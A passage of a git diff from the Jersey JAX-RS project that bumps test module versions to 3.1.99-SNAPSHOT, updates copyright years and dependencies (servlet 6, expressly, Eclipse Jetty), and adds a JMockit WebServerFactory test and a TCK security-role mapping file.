+</sun-web-app>
diff --git a/tests/jersey-tck/src/main/resources/jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml b/tests/jersey-tck/src/main/resources/jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml new file mode 100644 index 0000000..a5efdc5 --- /dev/null +++ b/tests/jersey-tck/src/main/resources/jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml
@@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- + + Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<!DOCTYPE sun-web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Sun ONE Application Server 8.0 Servlet 2.4//EN" "http://www.sun.com/software/sunone/appserver/dtds/sun-web-app_2_5-0.dtd"> +<sun-web-app> + <context-root>jaxrs_ee_rs_container_requestcontext_security_web</context-root> + <security-role-mapping> + <role-name>DIRECTOR</role-name> + <principal-name>j2ee</principal-name> + </security-role-mapping> +</sun-web-app>
diff --git a/tests/jmockit/pom.xml b/tests/jmockit/pom.xml index 3682449..e625624 100644 --- a/tests/jmockit/pom.xml +++ b/tests/jmockit/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java new file mode 100644 index 0000000..974404c --- /dev/null +++ b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java
@@ -0,0 +1,108 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.jmockit.server; + +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.CoreMatchers.theInstance; +import static org.junit.Assert.assertThat; + +import java.util.Iterator; + +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.internal.ServiceFinder; +import org.glassfish.jersey.internal.ServiceFinder.ServiceIteratorProvider; +import org.glassfish.jersey.internal.guava.Iterators; +import org.glassfish.jersey.internal.inject.InjectionManager; +import org.glassfish.jersey.internal.inject.InjectionManagerFactory; +import org.glassfish.jersey.server.WebServerFactory; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; +import org.junit.After; +import org.junit.Test; + +import mockit.Mocked; + +/** + * Unit tests for {@link WebServerFactory}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class WebServerFactoryTest { + + @Test + public final void shouldBuildServer(@Mocked final Application mockApplication, + @Mocked final WebServer mockServer, + @Mocked final SeBootstrap.Configuration mockConfiguration, + @Mocked final InjectionManager mockInjectionManager) { + // given + ServiceFinder.setIteratorProvider(new ServiceIteratorProvider() { + @Override + public final <T> Iterator<T> createIterator(final Class<T> service, final String serviceName, + final ClassLoader loader, final boolean ignoreOnClassNotFound) { + return Iterators.singletonIterator(service.cast( + service == WebServerProvider.class ? new WebServerProvider() { + @Override + public final <U extends WebServer> U createServer( + final Class<U> type, + final Application application, + final SeBootstrap.Configuration configuration) { + return application == mockApplication && configuration == mockConfiguration + ? type.cast(mockServer) + : null; + } + + @Override + public <T extends WebServer> T createServer( + final Class<T> type, + final Class<? extends Application> applicationClass, + final SeBootstrap.Configuration configuration) { + return null; + } + } + : service == InjectionManagerFactory.class ? new InjectionManagerFactory() { + @Override + public final InjectionManager create(final Object parent) { + return mockInjectionManager; + } + } + : null)); + } + + @Override + public final <T> Iterator<Class<T>> createClassIterator(final Class<T> service, final String serviceName, + final ClassLoader loader, final boolean ignoreOnClassNotFound) { + return null; + } + }); + + // when + final WebServer server = WebServerFactory.createServer(WebServer.class, mockApplication, mockConfiguration); + + // then + assertThat(server, is(theInstance(mockServer))); + } + + @After + public final void resetServiceFinder() { + ServiceFinder.setIteratorProvider(null); + } + +}
diff --git a/tests/mem-leaks/pom.xml b/tests/mem-leaks/pom.xml index cb44387..10fbb5b 100644 --- a/tests/mem-leaks/pom.xml +++ b/tests/mem-leaks/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.tests.memleaks</groupId>
diff --git a/tests/mem-leaks/redeployment/pom.xml b/tests/mem-leaks/redeployment/pom.xml index 05b1047..9d0817d 100644 --- a/tests/mem-leaks/redeployment/pom.xml +++ b/tests/mem-leaks/redeployment/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.memleaks</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
diff --git a/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml b/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml index 68d0620..ca0eaf6 100644 --- a/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml +++ b/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>redeployment-hello-world-app-ref</artifactId> @@ -132,7 +132,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>helloworld-webapp</artifactId> <type>war</type> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </dependency> </dependencies>
diff --git a/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml index 3dbdce4..4087b56 100644 --- a/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml +++ b/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>redeployment-leaking-test-app</artifactId>
diff --git a/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml index 5db3a03..17caf27 100644 --- a/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml +++ b/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -24,7 +24,7 @@ <parent> <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>redeployment-no-jersey-app</artifactId> @@ -125,7 +125,7 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> <scope>provided</scope> </dependency> <dependency>
diff --git a/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml index 3e78927..7726803 100644 --- a/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml +++ b/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -24,7 +24,7 @@ <parent> <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>redeployment-threadlocals-app</artifactId> @@ -106,7 +106,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> </dependencies>
diff --git a/tests/mem-leaks/test-cases/bean-param-leak/pom.xml b/tests/mem-leaks/test-cases/bean-param-leak/pom.xml index 8111508..c959f37 100644 --- a/tests/mem-leaks/test-cases/bean-param-leak/pom.xml +++ b/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>bean-param-leak</artifactId> @@ -88,8 +88,9 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.mortbay.jetty</groupId> + <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-maven-plugin</artifactId> + <version>${jetty11.version}</version> </plugin> <plugin> <groupId>org.glassfish.jersey.test-framework.maven</groupId>
diff --git a/tests/mem-leaks/test-cases/leaking-test-app/pom.xml b/tests/mem-leaks/test-cases/leaking-test-app/pom.xml index 19159fa..34e7e93 100644 --- a/tests/mem-leaks/test-cases/leaking-test-app/pom.xml +++ b/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>leaking-test-app</artifactId>
diff --git a/tests/mem-leaks/test-cases/pom.xml b/tests/mem-leaks/test-cases/pom.xml index 1f4d9ce..6287ce2 100644 --- a/tests/mem-leaks/test-cases/pom.xml +++ b/tests/mem-leaks/test-cases/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.memleaks</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
diff --git a/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml b/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml index 4655cd2..7fe29c3 100644 --- a/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml +++ b/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>shutdown-hook-leak-client</artifactId>
diff --git a/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml b/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml index 26e87e6..fb37ae3 100644 --- a/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml +++ b/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>shutdown-hook-leak</artifactId> @@ -71,8 +71,9 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.mortbay.jetty</groupId> + <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-maven-plugin</artifactId> + <version>${jetty11.version}</version> </plugin> <plugin> <groupId>org.glassfish.jersey.test-framework.maven</groupId>
diff --git a/tests/osgi/functional/pom.xml b/tests/osgi/functional/pom.xml index 4e6e564..fd4e7d1 100644 --- a/tests/osgi/functional/pom.xml +++ b/tests/osgi/functional/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -24,7 +24,7 @@ <parent> <groupId>org.glassfish.jersey.tests.osgi</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-tests-osgi-functional</artifactId> @@ -230,7 +230,6 @@ <scope>test</scope> <version>${httpclient.version}</version> </dependency> - <dependency> <groupId>org.glassfish.jersey.media</groupId> <artifactId>jersey-media-json-jackson</artifactId> @@ -299,7 +298,7 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> <scope>test</scope> </dependency> <dependency> @@ -318,8 +317,8 @@ <scope>test</scope> </dependency> <dependency> - <groupId>org.glassfish</groupId> - <artifactId>jakarta.el</artifactId> + <groupId>org.glassfish.expressly</groupId> + <artifactId>expressly</artifactId> <scope>test</scope> </dependency> <dependency>
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/BeanValidationTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/BeanValidationTest.java index 7486f72..2c4ba83 100644 --- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/BeanValidationTest.java +++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/BeanValidationTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -72,7 +72,7 @@ mavenBundle().groupId("org.jboss.logging").artifactId("jboss-logging").versionAsInProject(), mavenBundle().groupId("com.fasterxml").artifactId("classmate").versionAsInProject(), mavenBundle().groupId("jakarta.el").artifactId("jakarta.el-api").versionAsInProject(), - mavenBundle().groupId("org.glassfish").artifactId("jakarta.el").versionAsInProject() + mavenBundle().groupId("org.glassfish.expressly").artifactId("expressly").versionAsInProject() ));
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java index 4b730d7..785e883 100644 --- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java +++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java
@@ -41,6 +41,9 @@ options.addAll(Helper.expandedList( // vmOption("-Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005"), + // TODO - remove when jackson-module-jakarta-xmlbind-annotations supports JAX-B/4 + mavenBundle().groupId("jakarta.xml.bind").artifactId("jakarta.xml.bind-api").version("3.0.1"), + mavenBundle().groupId("org.glassfish.jersey.media").artifactId("jersey-media-json-jackson").versionAsInProject(), mavenBundle().groupId("org.glassfish.jersey.ext").artifactId("jersey-entity-filtering").versionAsInProject(),
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java index 423a04e..2ca286c 100644 --- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java +++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java
@@ -63,7 +63,7 @@ mavenBundle().groupId("org.hibernate.validator").artifactId("hibernate-validator").versionAsInProject(), mavenBundle().groupId("org.jboss.logging").artifactId("jboss-logging").versionAsInProject(), mavenBundle().groupId("com.fasterxml").artifactId("classmate").versionAsInProject(), - mavenBundle().groupId("org.glassfish").artifactId("jakarta.el").versionAsInProject() + mavenBundle().groupId("org.glassfish.expressly").artifactId("expressly").versionAsInProject() )); return Helper.asArray(options);
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java index 76a1515..4be49dd 100644 --- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java +++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -183,9 +183,9 @@ mavenBundle().groupId("org.glassfish.jersey.core").artifactId("jersey-client").versionAsInProject(), // Jersey Injection provider - mavenBundle().groupId("org.glassfish.jersey.inject").artifactId("jersey-hk2").versionAsInProject(), + mavenBundle().groupId("org.glassfish.jersey.inject").artifactId("jersey-hk2").versionAsInProject() // Jaxb - api - getActivationBundle() +// getActivationBundle() )); }
diff --git a/tests/osgi/pom.xml b/tests/osgi/pom.xml index 99da325..1a4a0f2 100644 --- a/tests/osgi/pom.xml +++ b/tests/osgi/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.tests.osgi</groupId>
diff --git a/tests/performance/benchmarks/pom.xml b/tests/performance/benchmarks/pom.xml index 4af92ed..79ce03f 100644 --- a/tests/performance/benchmarks/pom.xml +++ b/tests/performance/benchmarks/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>performance-test-benchmarks</artifactId>
diff --git a/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java b/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java index 05391bc..ba18aae 100644 --- a/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java +++ b/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java
@@ -80,6 +80,6 @@ private static void writeResult(double resultValue, String propertiesFile) throws IOException { Properties resultProps = new Properties(); resultProps.put("YVALUE", Double.toString(resultValue)); - resultProps.store(Files.newOutputStream(Paths.get(propertiesFile)), null); + resultProps.store(Files.newOutputStream(Path.of(propertiesFile)), null); } }
diff --git a/tests/performance/pom.xml b/tests/performance/pom.xml index bf57e5d..f21ac50 100644 --- a/tests/performance/pom.xml +++ b/tests/performance/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.tests.performance</groupId>
diff --git a/tests/performance/runners/jersey-grizzly-runner/pom.xml b/tests/performance/runners/jersey-grizzly-runner/pom.xml index 03f7645..42d8d17 100644 --- a/tests/performance/runners/jersey-grizzly-runner/pom.xml +++ b/tests/performance/runners/jersey-grizzly-runner/pom.xml
@@ -1,6 +1,6 @@ <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.runners</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent>
diff --git a/tests/performance/runners/pom.xml b/tests/performance/runners/pom.xml index 4fbf1c5..c82f6c3 100644 --- a/tests/performance/runners/pom.xml +++ b/tests/performance/runners/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.tests.performance.runners</groupId>
diff --git a/tests/performance/test-cases/assemblies/pom.xml b/tests/performance/test-cases/assemblies/pom.xml index 8ef729d..1c1faf4 100644 --- a/tests/performance/test-cases/assemblies/pom.xml +++ b/tests/performance/test-cases/assemblies/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>assemblies</artifactId>
diff --git a/tests/performance/test-cases/filter-dynamic/pom.xml b/tests/performance/test-cases/filter-dynamic/pom.xml index 0c357ff..4b9884c 100644 --- a/tests/performance/test-cases/filter-dynamic/pom.xml +++ b/tests/performance/test-cases/filter-dynamic/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>filter-dynamic</artifactId>
diff --git a/tests/performance/test-cases/filter-global/pom.xml b/tests/performance/test-cases/filter-global/pom.xml index 7465710..83860e9 100644 --- a/tests/performance/test-cases/filter-global/pom.xml +++ b/tests/performance/test-cases/filter-global/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>filter-global</artifactId>
diff --git a/tests/performance/test-cases/filter-name/pom.xml b/tests/performance/test-cases/filter-name/pom.xml index 04979e5..0da39ce 100644 --- a/tests/performance/test-cases/filter-name/pom.xml +++ b/tests/performance/test-cases/filter-name/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.performance.testcases</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>filter-name</artifactId>
diff --git a/tests/performance/test-cases/interceptor-dynamic/pom.xml b/tests/performance/test-cases/interceptor-dynamic/pom.xml index dd35986..1535aef 100644 --- a/tests/performance/test-cases/interceptor-dynamic/pom.xml +++ b/tests/performance/test-cases/interceptor-dynamic/pom.xml
